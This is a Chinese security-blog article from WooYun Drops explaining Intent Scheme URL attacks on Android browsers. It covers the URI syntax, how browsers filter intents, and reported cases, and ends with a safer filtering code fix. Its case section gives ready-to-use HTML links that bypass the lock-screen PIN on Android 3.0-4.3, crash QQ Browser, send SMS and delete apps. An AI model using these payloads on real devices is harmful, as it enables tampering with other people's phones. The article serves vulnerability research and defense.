<main class="main-container ng-scope" ng-view=""><div class="main receptacle post-view ng-scope"><article class="entry ng-scope" ng-controller="EntryCtrl" ui-lightbox=""><header><h1 class="entry-title ng-binding">Intent scheme URL attack</h1><div class="entry-meta"><a target="_blank" class="author name ng-binding">瘦蛟舞</a> <span class="bull">·</span> <time title="2014/08/29 12:19" ui-time="" datetime="2014/08/29 12:19" class="published ng-binding ng-isolate-scope">2014/08/29 12:19</time></div></header><section class="entry-content ng-binding" ng-bind-html="postContentTrustedHtml"><p></p><h2>0x01 Android Intents with Chrome</h2><hr><p>Android有一个很少人知道的特性可以通过web页面发送intent来启动apps。以前通过网页启动app是通过设置iframe的src属性，例如：</p><pre><code>&lt;iframe src="paulsawesomeapp://page1"&gt; &lt;/iframe&gt;
</code></pre><p>此方法适用version 18或者更早版本。其他android浏览器也适用。 这个功能在安卓chrome 浏览器version 25之后版本发生了改变。不能在通过设置iframe标签的src属性来启动app了。取而代之的是你应该通过自定义scheme实现用户手势启动app或者使用本文描述的“intent:”语法。</p><p><strong>1.1 基本语法</strong></p><p>“最佳实践”是构造一个intent插入网页中使用户能够登录app。这为您提供了更多的灵活性在控制应用程序是如何启动，包括传通过<a href="http://developer.android.com/guide/components/intents-filters.html#extras">Intent Extras</a>传递额外信息。 intent-based URI基本语法如下：</p><pre><code>intent:
   HOST/URI-path // Optional host
   #Intent;
      package=[string];
      action=[string];
      category=[string];
      component=[string];
      scheme=[string];
   end;
</code></pre><p>语法细节见源码<a href="https://code.google.com/p/android-source-browsing/source/browse/core/java/android/content/Intent.java?repo=platform--frameworks--base#6514">Android source</a></p><p><img alt="enter image description here" img-src="a203372c8f4e1fa76192d14b03d0dc386f6377c4.jpg"></p><p><img alt="enter image description here" img-src="833b07a0b763ad2c3eeae31e1fd2ded97e387bbe.jpg"></p><p><strong>1.2 简单举例</strong></p><p>例子是一个intent登陆应用“Zxing barcode scanner”，语法如下：</p><pre><code>intent:
   //scan/
   #Intent;
      package=com.google.zxing.client.android;
      scheme=zxing;
   end;
</code></pre><p>设置a标签发href属性：</p><pre><code>&lt;a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"&gt; Take a QR code &lt;/a&gt;
</code></pre><p>Package和host定义在配置文件中<a href="https://code.google.com/p/zxing/source/browse/trunk/android/AndroidManifest.xml#97">Android Zxing Manifest</a></p><p><strong>1.3 注意事项</strong></p><p>如果调用activity的intent包含<a href="http://developer.android.com/guide/components/intents-filters.html#extras">extras</a>，同样可以包含这些。 Activity只有配置了category filter才有被<a href="http://developer.android.com/reference/android/content/Intent.html#CATEGORY_BROWSABLE">android.intent.category.BROWSABLE</a>通过这种方式在浏览器中打开，因为这样表明其是安全的。</p><p><strong>1.4 另请参阅</strong></p><p>• <a href="http://developer.android.com/guide/components/intents-filters.html">Android Intents and Intent Filters</a></p><p>• <a href="http://developer.android.com/guide/components/activities.html">Android Activities</a></p><h2>0x02 利用思路</h2><hr><p>在Android上的Intent-based攻击很普遍，这种攻击轻则导致应用程序崩溃，重则可能演变提权漏洞。当然，通过静态特征匹配，Intent-Based的恶意样本还是很容易被识别出来的。 然而最近出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这种攻击方式利用了浏览器保护措施的不足，通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击，这种方式极具隐蔽性，而且由于恶意代码隐藏WebPage中，传统的特征匹配完全不起作用。除此之外，这种攻击还能直接访问跟浏览器自身的组件（无论是公开还是私有）和私有文件，比如cookie文件，进而导致用户机密信息的泄露。</p><h2>0x03 1.3 Intent scheme URL的用法</h2><p>看一下Intent Scheme URL的用法。</p><pre><code>&lt;script&gt;location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"&lt;/script&gt;  
</code></pre><p>从用法上看，还是很好理解的，这里的代码等价于如下Java代码：</p><pre><code>Intent intent = new Intent("myaction");  
intent.setData(Uri.parse("mydata"));  
intent.setType("text/plain");  
</code></pre><p>再看一个例子：</p><pre><code>intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end 
</code></pre><p>上面的语句，等价于如下Java代码：</p><pre><code>Intent intent = new Intent("myaction");  
intent.setData(Uri.pase("//foobar/"));  
intent.putExtra("xyz", "123");  
intent.putExtra("abc", 678);  
</code></pre><p>其中S代表String类型的key-value，i代表int类型的key-value。 源码中提供了Intent.parseUri(String uri)静态方法，通过这个方法可以直接解析uri，如果想更一步了解其中的语法，可以查看官方源码。</p><h2>0x04 Intent scheme URI的解析及过滤</h2><hr><p>如果浏览器支持Intent Scheme URI语法，一般会分三个步骤进行处理：</p><blockquote><ol><li>利用Intent.parseUri解析uri，获取原始的intent对象；</li><li>对intent对象设置过滤规则，不同的浏览器有不同的策略，后面会详细介绍；</li><li>通过Context.startActivityIfNeeded或者Context.startActivity发送intent； 其中步骤2起关键作用，过滤规则缺失或者存在缺陷都会导致Intent Schem URL攻击。</li></ol></blockquote><p>关键函数</p><pre><code>Intent.parseUri()
</code></pre><p>绕过</p><pre><code>Intent.setComponent(null);
</code></pre><p>使用sel;</p><h2>0x05 乌云案例</h2><hr><p><a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-073875">WooYun: qq浏览器IntentScheme处理不当</a></p><p><a target="_blank" href="http://www.wooyun.org/bugs/wooyun-2014-067798">WooYun: 傲游云浏览器远程隐私泄露漏洞（需要一定条件）</a></p><p>某浏览器对此支持非常好</p><pre><code>&lt;a href="intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;end"&gt;
   设置绕过Pin码（android 3.0-4.3）
&lt;/a&gt;
</code></pre><p><img alt="enter image description here" img-src="3afa0b81f88f8cc891c25a62cb7cbfe3c98016e2.jpg"></p><pre><code>&lt;a href="intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end"&gt;
    qq浏览器崩溃
&lt;/a&gt;
</code></pre><p><img alt="enter image description here" img-src="8dc28f94572dfc6e609f0763153dc9dc6e1ea24b.jpg"></p><pre><code>&lt;a href="intent:http://drops.wooyun.org/webview.html#Intent;component=com.android.browser/com.android.browser.BrowserActivity;end"&gt;
    打开原生浏览器
&lt;/a&gt;
</code></pre><p><img alt="enter image description here" img-src="25bec73f4b53864675d4566be30dfc029b99555d.jpg"></p><hr><pre><code>&lt;a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end"&gt;
   发送短信
&lt;/a&gt;&lt;br&gt;
</code></pre><hr><pre><code>&lt;a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end"&gt;
   打开相机
&lt;/a&gt;&lt;br&gt;
</code></pre><hr><pre><code>&lt;a href="intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end"&gt;
   删除应用
&lt;/a&gt;&lt;br&gt;
</code></pre><hr><pre><code>&lt;a href="intent:#Intent;action=android.intent.action.INSERT_OR_EDIT;S.name=magic;S.phone=+8610000;i.phone_type=2;type=vnd.android.cursor.item/person;end"&gt;
    添加联系人
&lt;/a&gt;&lt;br&gt;
</code></pre><h2>0x06 修复</h2><hr><p>通过以上漏洞的描述，总结得出一种相对比较安全的Intent Filter方法，代码如下：</p><pre><code>// convert intent scheme URL to intent object  
Intent intent = Intent.parseUri(uri);  
// forbid launching activities without BROWSABLE category  
intent.addCategory("android.intent.category.BROWSABLE");  
// forbid explicit call  
intent.setComponent(null);  
// forbid intent with selector intent  
intent.setSelector(null);  
// start the activity by the intent  
context.startActivityIfNeeded(intent, -1);  
</code></pre><h2>0x07 参考</h2><hr><p><a href="http://www.mbsd.jp/Whitepaper/IntentScheme.pdf">http://www.mbsd.jp/Whitepaper/IntentScheme.pdf</a></p><p><a href="http://blog.csdn.net/l173864930/article/details/36951805">http://blog.csdn.net/l173864930/article/details/36951805</a></p><p></p></section></article><div class="entry-controls clearfix"><div style="float:left;color:#9d9e9f;font-size:15px"><span>&copy;乌云知识库版权所有 未经许可 禁止转载</span></div></div><div id="donate" style="padding:10px;border-top:1px solid #d9d9d9;text-align:center"><span>碎银子打赏，作者好攒钱娶媳妇：</span><br><br><img src="http://static.wooyun.org/wooyun/upload/donate/20141223141529d33ebc5e18e728db5f4a24d40002e9d1.jpg" style="width:200px;height:200px"></div><div class="yarpp-related"><h3>为您推荐了适合您的技术文章:</h3><ol id="recommandsystem"><li><a href="http://drops.wooyun.org/tips/2736" rel="bookmark" id="re1">Samsung S Voice attack</a></li><li><a href="http://drops.wooyun.org/mobile/9055" rel="bookmark" id="re2">进击的短信拦截马</a></li><li><a href="http://drops.wooyun.org/papers/5309" rel="bookmark" id="re3">iOS URL Scheme 劫持-在未越狱的 iPhone 6上盗取支付宝和微信支付的帐号密码</a></li><li><a href="http://drops.wooyun.org/papers/3912" rel="bookmark" id="re4">安卓Bug 17356824 BroadcastAnywhere漏洞分析</a></li></ol></div><div id="comments" class="comment-list clearfix"><div id="comment-list"><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">瘦蛟舞</span> <span class="reply-time">2015-03-16 14:37:06</span></div><p></p><p>0x07 参考<br>不是标注了参考么......</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">jiayaoqijia</span> <span class="reply-time">2014-09-24 21:07:37</span></div><p></p><p>具体的参加这个link吧。http://www.mbsd.jp/Whitepaper/IntentScheme.pdf</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">进击的zjx</span> <span class="reply-time">2014-09-09 17:46:05</span></div><p></p><p>瘦瘦牛！我来学习啦</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">hqdvista</span> <span class="reply-time">2014-08-30 09:36:48</span></div><p></p><p>总算流传开了，语法不支持parcelable是一大遗憾</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">winsyk</span> <span class="reply-time">2014-08-29 23:41:35</span></div><p></p><p>mark。</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">zzR</span> <span class="reply-time">2014-08-29 15:50:53</span></div><p></p><p>MK ，学习 ，乃们都是大牛牛</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">Comver</span> <span class="reply-time">2014-08-29 14:01:03</span></div><p></p><p>消灭0留言</p><p></p></div></div></div></div></div></main>